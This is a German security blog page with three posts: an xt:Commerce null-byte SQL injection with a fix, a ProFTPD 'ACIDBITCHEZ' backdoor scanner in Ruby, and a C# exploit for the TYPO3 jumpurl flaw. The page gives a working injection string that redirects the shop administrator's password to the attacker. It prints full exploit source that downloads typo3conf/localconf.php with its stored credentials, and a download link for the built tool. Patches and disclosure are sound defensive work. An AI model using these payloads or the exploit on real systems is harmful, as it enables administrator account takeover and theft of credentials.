Version: xt:Commerce v3.0.X

Am 18.02.2011 wurde auf xtc-load.de über einen Patch für einen kritischen Fehler in xt:Commerce v3.0.4SP2.1 berichtet.

Der SQL Injection Bugfix von xtc-load.de behebt NICHT alle Fehler.

Download xt:Commerce v3.0.4SP2.1 incl. eregi (Nullbyte Injection) SQL Injection Bugfix

Angepasste Dateien: inc/xtc_validate_email.inc.php, password_double_opt.php

Fix für den Fix

Der auf xtc-load.de oder anderen Seiten angebotene Patch löst das Problem mit der SQL Injection sicher, jedoch nicht die Nullbyte Injection in der Funktion xtc_validate_email() (inc/xtc_validate_email.inc.php). Der Patch (xtc-load.de) enthält in dieser Datei folgenden Codeschnippsel der zum verhindern der Nullbyte Injection verwendet werden soll:

// sql injection fix 16.02.2011
if (strpos($email,"\0")!==false) {return false;}

Hierbei wird auf das “\0″ geprüft. Jedoch nicht auf die ebenfalls gültigen “\x00″, “\u0000″ und “\000″ Nullbytes. Ein Fix für den Fix (eine bereits gegen die Nullbyte / SQL Injection gefixte Version) ist das ersetzen des oben erwähnten Codeschnippsels mit folgendem:

## Bugfix for nullbyte injection. More: http://www.monkey-business.biz/1586/xtcommerce-v3-0-x-eregi-nullbyte-injection-sql-injection/
str_replace(array("\0", "\x00", "\u0000", "\000"), '', $email, $count); if ($count > 0) return false;

Der Codeschnippsel hat den selben Sinn wie der bereits enthaltene, er prüft jedoch zusätzlich noch auf die ebenfalls gültigen Nullbytes. In die Variable $count wird von der Funktion str_replace() die Anzahl der ersetzten Nullbytes im E-Mail String hinterlegt. Danach wird geprüft ob ein Nullbyte ersetzt werden musste. Ist dies der Fall wird die Funktion beendet und die E-Mail für ungültig erklärt und nicht in die Datenbank geschrieben.

Details zur Sicherheitslücke

Das Vorgehen ist denkbar einfach. Nach der erfolgreichen Anmeldung im xt:commerce Shop muss der in der E-Mail Adresse injizierte SQL Code (via account_edit.php) über die xt:commerce “Passwort vergessen” Funktion ausgeführt werden nachdem die Passwort vergessen E-Mail angefordert wurde. Die E-Mail Adresse die beim Ausführen von password_double_opt.php aus der “Passwort vergessen” E-Mail heraus zur Injektion verwendet wird kann beispielsweise folgenden String enthalten:

yourmail@example.com \x00' OR customers_email_address = 'shopadmin@example.com

Dies bewirkt die Übermittlung des Strings an den MySQL Server:

UPDATE customers SET customers_password = '7e716d0e702df0505fc72e2b89467910' WHERE customers_email_address = 'yourmail@example.com \x00' OR customers_email_address = 'shopadmin@example.com'

Im weiteren Ablauf des password_double_opt.php wird das Passwort für shopadmin@example.com, in diesem Beispiel Shop Administrator, an yourmail@example.com gesendet.

Was hat das mit dem Nullbyte zu tun?
Die PHP Funktion eregi() die in der xtc_validate_email() Funktion in der Datei inc/xtc_validate_email.inc.php in xt:commerce verwendet wird nutzt die darunter liegende C-Lib um den String zu lesen. Diese Lib erkennt ein Nullbyte (\0, \x00, \u0000, \000) als String Ende. Bei der Überprüfung mit eregi() wird also das Nullbyte von der Funktion als vorzeitiges String Ende angesehen und nur der Teil des Strings bis zum Nullbyte überprüft. Das heißt nach einem Nullbyte können beliebige Zeichen eingeschleußt werden. Es handelt sich hierbei also um keinen Fehler den xt:commerce Shopsystems.

Ob die Nullbyte und SQL Injection von Erfolg gekrönt ist hängt von den php.ini Einstellungen ab. Optionen die \ in Eingaben über $_POST oder $_GET filtern verhindern oder verändern unter Umständen den nötigen Injection String.

8 Kommentare »
 

Auf heise.de habe ich am Tag nach dem Bemerken des Einbruchs (Bemerkt am: 01.12.2010) gelesen, das die offiziellen ProFTPD FTP Quellen seit dem 28.11.2010 mit einem Backdoor verseucht seien. Laut heise online soll die Infektion des Quellcodes über eine ungepatchte Sicherheitslücke Lücke im SQL-Modul in ProFTPD selbst verseucht worden seien. Was für eine Ironie. :)

Ich wusste mein Server ist nicht infiziert da ich mein System aus den Debian Paketquellen pflege und in darin niemals derart aktuelle Pakete enthalten sind. Dennoch wollte ich mehr darüber wissen. Auf der ProFTPD Projektseite fand ich eine News Meldung.

The ProFTPD Project team is sorry to announce that the Project’s main FTP server, as well as all of the mirror servers, have carried compromised versions of the ProFTPD 1.3.3c source code, from the November 28 2010 to December 2 2010. All users who run versions of ProFTPD which have been downloaded and compiled in this time window are strongly advised to check their systems for security compromises and install unmodified versions of ProFTPD.

To verify the integrity of your source files, use the PGP signatures which can be found here as well as on the FTP servers.

The source code in CVS was not affected.

CVS Benutzer müssen sich laut ProFTPD Team eigenen Angaben keine Sorgen machen. Anwender die die FTP Quellen benutzt haben sollten prüfen ob deine heruntergeladene Versionen des ProFTPD Quellcodes gültige PGP Signaturen aufweisen. (ProFTPD PGP Signaturen)

ProFTPD sollte normalerweise nicht als Prozess des Benuters root laufen. In wie weit das für den root Zugang über den Backdoor eine Rolle spielt weiß ich nicht. In kombination mit einem verwundbaren Kernel durch das “privilege escalation” Exploit der selben Gruppe wäre dies kein Hindernis. Mehr dazu hier.

Um das Aufspüren von infizierten Servern zu erleichtern habe ich ein Scanner Script “verfasst”. Wie du an der Shebang und der Syntax erkennst handelt es sich um ein Ruby Script.

#! /usr/bin/ruby -w
 
require 'net/ftp'
require 'timeout'
 
##
## Validate and split IP address 
##
def explodeip(ip)	
	if 5 == len = (ip = ip.match('^(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})$').to_a).length
		i = 1		
		4.times do
			ip[i] = ip[i].to_i()
			i = i + 1
		end
		return ip
	else
		return false
	end
end
 
##
## Check FTP host for infection
##
def checkinfect(ip)
	begin
		timeout(3) do
     		ftp = Net::FTP.new(ip)
			puts ip+': connected'
			begin
				ftp.sendcmd('help ACIDBITCHEZ')				
				puts ip+': infected'
			rescue Net::FTPPermError
				puts ip+': clean'
			ensure
				ftp.close()
			end
		end		
	rescue Timeout::Error
		puts ip+': timeout'
	rescue Errno::ECONNREFUSED
		puts ip+': connection refused'
	rescue Errno::EHOSTUNREACH
		## Maybe you wan't to google?
	end	
end
 
##
## Script info
##
if !ARGV[0].is_a?(String)
	puts '# ACIDBITCHEZ ProFTPD backdoor scanner'
	puts '# Usage: ./ACIDBITCHEZ_ftpscanner <ip adress> || <start ip> <end ip>'
	puts '# More: http://www.monkey-business.biz/1211/proftpd-acidbitchez-backdoor-scanner/'	
	Process.exit()
end
 
if ip1 = explodeip(ARGV[0])
	if ARGV[1].is_a?(String)
 
		##
		## Cycle trough IP's
		##
		if ip2 = explodeip(ARGV[1])
			while ip1[1] <= ip2[1]
				while ip1[2] <= ip2[2]								
					while ip1[3] <= ip2[3]					
						while ip1[4] <= ip2[4]							
							checkinfect(ip1[1].to_s()+'.'+ip1[2].to_s()+'.'+ip1[3].to_s()+'.'+ip1[4].to_s())
							ip1[4] = ip1[4] + 1
						end
						ip1[4] = 0
						ip1[3] = ip1[3] + 1							
					end
					ip1[3] = 0
					ip1[2] = ip1[2] + 1
				end
				ip1[2] = 0
				ip1[1] = ip1[1] + 1
			end
		else			
			puts '# Second IP adress not valid'
		end
 
	##
	## Check single IP
	##
	else
		checkinfect(ip1[0])	
	end
else
	puts '# IP adress not valid'
end

Das Script läuft nicht ansynchron / in Threads, das liegt daran das du damit nicht das ganze Internet scannen sollt und es ein Prototyp ist bei dem du möglicherweise mit dem Request Timeout spielen musst. Vielleicht ist es mir auch den Aufwand nicht wert. Optimierungen nehme ich gerne entgegen. ;)

Mehr zum Thema:

Keine Kommentare »
 

C#: Typo3 Jumpurl Exploit

Um es mir zu ermöglichen Typo3 Installationen von Windows System aus auf die Jumpurl Sicherheitslückezu überprüfen, habe ich mir einen Exploit in C# programmiert. Ich veröffentliche den Exploit erst jetzt, weil inzwischen die meisten Systeme gefixt sein sollten. Zunächst möchte ich die Vorgehensweise des Exploits beschreiben.

Als erstes wird ein HTTP Anfrage mit einer bestimmten Kombination an GET Parametern an Typo3 gesandt. Die Antwort dieser Anfrage wird eingelesen und die Prüfsumme die in der Antwort steht ausgelesen. Nun wird eine zweite Anfrage an das Typo3 System gesandt. Diese Abfrage ist eine Downloadanforderung für eine Datei, welche mit der Prüfsumme aus der zuvor erhaltenen Anfrage validiert wird.

Verwundbar sind die Typo3 Versionen TYPO3 < 4.2.6, TYPO3 < 4.1.10 und TYPO3 < 4.0.12. In den Typo3 Versionen < 4 findest du die fehlerhafte Datei in "tslib/class.tslib_fe.php". In den Versionen >= 4 ist die Datei unter “typo3/sysext/cms/tslib/class.tslib_fe.php” zu finden. Schauen wir uns den verwundbaren Quellcodeabschnitt mit Vorgangs relevanten Kommentaren Typo3 aus an:

## Prüfen ob $_GET['jumpurl'] nicht leer ist
if ($this->jumpurl)	{
 
    ## Prüfen ob $_GET['juSecure'] nicht leer ist
    if (t3lib_div::_GP('juSecure'))	{
        $hArr = array(
            $this->jumpurl,
            t3lib_div::_GP('locationData'),
            $this->TYPO3_CONF_VARS['SYS']['encryptionKey']
        );
        $calcJuHash=t3lib_div::shortMD5(serialize($hArr));
        $locationData = t3lib_div::_GP('locationData');
        $juHash = t3lib_div::_GP('juHash');
 
        ## Prüfe ob $_GET['juHash'] gleich der errechneten Prüfsumme
        if ($juHash == $calcJuHash)	{
 
            ## $_GET['locationData'] überprüfen
            if ($this->locDataCheck($locationData))	{
                $this->jumpurl = rawurldecode($this->jumpurl);
                if (t3lib_div::verifyFilenameAgainstDenyPattern($this->jumpurl) && basename(dirname($this->jumpurl)) !== 'typo3conf') {
                    if (@is_file($this->jumpurl)) {
                        $mimeType = t3lib_div::_GP('mimeType');
                        $mimeType = $mimeType ? $mimeType : 'application/octet-stream';
 
                        ## Das Senden der Datei
                        header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
                        header('Content-Type: '.$mimeType);
                        header('Content-Disposition: attachment; filename='.basename($this->jumpurl));
                        readfile($this->jumpurl);
                        exit;
                    } else die('jumpurl Secure: "'.$this->jumpurl.'" was not a valid file!');
                } else die('jumpurl Secure: The requested file type was not allowed to be accessed through jumpUrl (fileDenyPattern)!');
            } else die('jumpurl Secure: locationData, '.$locationData.', was not accessible.');
 
        ## Hier findet die Ausgabe der Prüfsumme statt
        } else die('jumpurl Secure: Calculated juHash, '.$calcJuHash.', did not match the submitted juHash.');
    } else {

Die Sicherheitslücke kann durch das ersetzen von:

} else die('jumpurl Secure: Calculated juHash, '.$calcJuHash.', did not match the submitted juHash.');

durch:

} else die('jumpurl Secure: Calculated juHash did not match the submitted juHash.');

geschlossen werden. Natürlich kannst du potentiellen Angreifern auch eine Nachricht hinterlassen oder dich über einen Angriff und den Angreifer informieren lassen. Ein kleines Beispiel hierzu:

} else {
	mail(
		'mail@example.com', ## Hier musst du deine E-Mail Adresse eintragen
		'Möglicher Einbruchsversuch auf Ihrem Typo3 System ('.$_SERVER['HTTP_HOST'].') via Jumpurl',		
		"IP:\n".$_SERVER['REMOTE_ADDR'].
		"\n\nUhrzeit:\n".date('d.m.Y H:i:s', $_SERVER['REQUEST_TIME']).
		"\n\nGET Parameter:\n".$_SERVER['QUERY_STRING'],
		"Content-type: text/plain; charset=utf-8\r\n"
	);
        exit('<p>Der Systemadministrator wurde benachrichtigt.</p>');
}

(Der zu ersetzende Teil bezieht sich auf den oben angesprochenen Fehlerhaften Quellcodeabschnitt)

Der C# Quellcode basiert auf der get_http_as_string Funktion die bereits in einem anderen Artikel besprochen wurde. Das ist der, wie immer gut kommentierte, C# Exploit Quellcode für die Typo3 Sicheitslücke:

/*
 * [arg[0] = string] die URL zum Typo3 System
 * [arg[1] = string] (optional) die herunterzuladende Datei
 */
public static void Main(string[] args)
{
        // Prüfe ob arg[0] vorhanden
	if (args.Length > 0) 
        {
                // Regulärer Ausdruck für die URL Validierung         
		Regex r = new Regex(@"^https?:\/\/([a-zA-Z0-9]([a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?\.)+([a-zA-Z]{2,6})/|[a-zA-Z0-9]/$");
 
                // Prüfe ob URL valide anhand des Regulären Ausdrucks		
		if (r.IsMatch(args[0]))
		{
			string file = "";
 
                        // Prüfe ob arg[1] vorhanden
			if (args.Length > 1) 
			{
 
                               // Prüfe ob arg[1] nicht leer ist  
				if (args[1].Length > 0) 
				{
					file = args[1];
				}
				else 
				{
					file = "typo3conf/localconf.php";
				}
			}
			else 
			{
				file = "typo3conf/localconf.php";
			}
 
                        // Ermittle mit einer HTTP Anfrage die Ausgabe der Prüfsumme
			string content = http_get_as_string(args[0] + "index.php?jumpurl=" + file + "&juSecure=1&locationData=1:", 8192);
 
                        // Prüfe ob Ausgabe vorhanden
			if (content.Length > 0) {
 
                                // Regulärer Ausdruck für die Prüfsumme
				r = new Regex("([a-f0-9]{10})+");
 
                                // Versuche die Prüfsumme anhand des Regulären Ausdrucks zu finden
				Match m = r.Match(content);
 
                                // Prüfe ob die Prüfsumme gefunden wurde
				if (m.Length > 0)
				{
                                        // Prüfsumme wurde gefunden. Starte zweite HTTP Anfrage mit der Downloadanforderung.
					content = http_get_as_string(args[0] + "index.php?jumpurl=" + file + "&juSecure=1&locationData=1:&juHash=" + m.Value, 8192);
					Console.WriteLine("# File content:");
					Console.WriteLine(content);
					Console.WriteLine("# Attack successful!");
				}
				else
				{
					Console.WriteLine("# Hash indeterminate );");
				}	
			}
			else
			{
				Console.WriteLine("# Something is going really wrong. Maybe the URL?");
			}
		}
		else
		{
			Console.WriteLine("# Wrong URL format. Try this: http://<domainname>.<tld>/<dir[OPTIONAL]>/");	
		}
	}
	else 
	{
		Console.WriteLine("# Typo3 Jumpurl exploit");	
		Console.WriteLine("# Usage: http://<domainname>.<tld>/ <file[OPTIONAL]>");
		Console.WriteLine("# More: http://www.monkey-business.biz/495/c-typo3-jumpurl-exploit/");
	}	
}

Ist das zweite Argument beim Programmaufruf nicht gesetzt wird versucht die Typo3 Konfigurationsdatei aus dem standard Pfad (typo3conf/localconf.php) herunterzuladen.

Das komplette Mono Projekt inklusive der ausführbaren Datei kann hier heruntergeladen werden:

Typo3 Jumpurl Exploit – C# Mono Projekt – herunterladen

(Das Programm ist zu Studienzwecken da und nicht um damit Unfug zu treiben)

Keine Kommentare »